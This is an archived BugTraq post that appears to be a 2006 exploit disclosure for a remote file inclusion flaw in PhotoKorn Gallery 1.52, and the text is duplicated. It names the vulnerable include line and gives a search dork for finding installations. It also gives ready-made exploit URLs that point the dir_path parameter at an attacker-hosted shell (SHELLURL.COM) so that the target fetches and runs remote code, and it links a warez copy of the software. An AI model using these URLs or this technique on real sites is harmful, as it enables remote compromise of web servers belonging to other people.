BugTraq
Back to list
|
Post reply
PhotoKorn Gallery => 1.52 (dir_path) Remote File Inclusion Exploit
Sep 08 2006 01:23AM
saudi unix hotmail com
#====================================================================
#PhotoKorn Gallery => 1.52 (dir_path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#=================================================================
#
#Script Name: PhotoKorn Gallery v 1.52
#Script :)
#http://warez.gtasoft.ru/skripts/PhotoKorn.Gallery.(SL).v1.52.PHP.NULL-D
GT.zip
#
#=================================================================
#Bug in : cart.inc.php & ext_cats.php
#
# <<<<<<<< include_once($dir_path."/footer.php");
#
#in <<<< includes/cart.inc.php & extras/ext_cats.php & ....... :)
#=================================================================
#
#Dork : photokorn 1.52
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[path]/includes/cart.inc.php?dir_path=http://SHELLU
RL.COM?
#or
#http://sitename.com/[path]/extras/ext_cats.php?dir_path=http://SHELLURL
.COM?
#=======================================================================
========
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :All My Frind
#www.S3hr.com . www.xp10.com . www.3asfh.net . www.lezr.com .www.king18.org
#=======================================================================
========
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
#PhotoKorn Gallery => 1.52 (dir_path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#=================================================================
#
#Script Name: PhotoKorn Gallery v 1.52
#Script :)
#http://warez.gtasoft.ru/skripts/PhotoKorn.Gallery.(SL).v1.52.PHP.NULL-D
GT.zip
#
#=================================================================
#Bug in : cart.inc.php & ext_cats.php
#
# <<<<<<<< include_once($dir_path."/footer.php");
#
#in <<<< includes/cart.inc.php & extras/ext_cats.php & ....... :)
#=================================================================
#
#Dork : photokorn 1.52
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[path]/includes/cart.inc.php?dir_path=http://SHELLU
RL.COM?
#or
#http://sitename.com/[path]/extras/ext_cats.php?dir_path=http://SHELLURL
.COM?
#=======================================================================
========
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :All My Frind
#www.S3hr.com . www.xp10.com . www.3asfh.net . www.lezr.com .www.king18.org
#=======================================================================
========
[ reply ]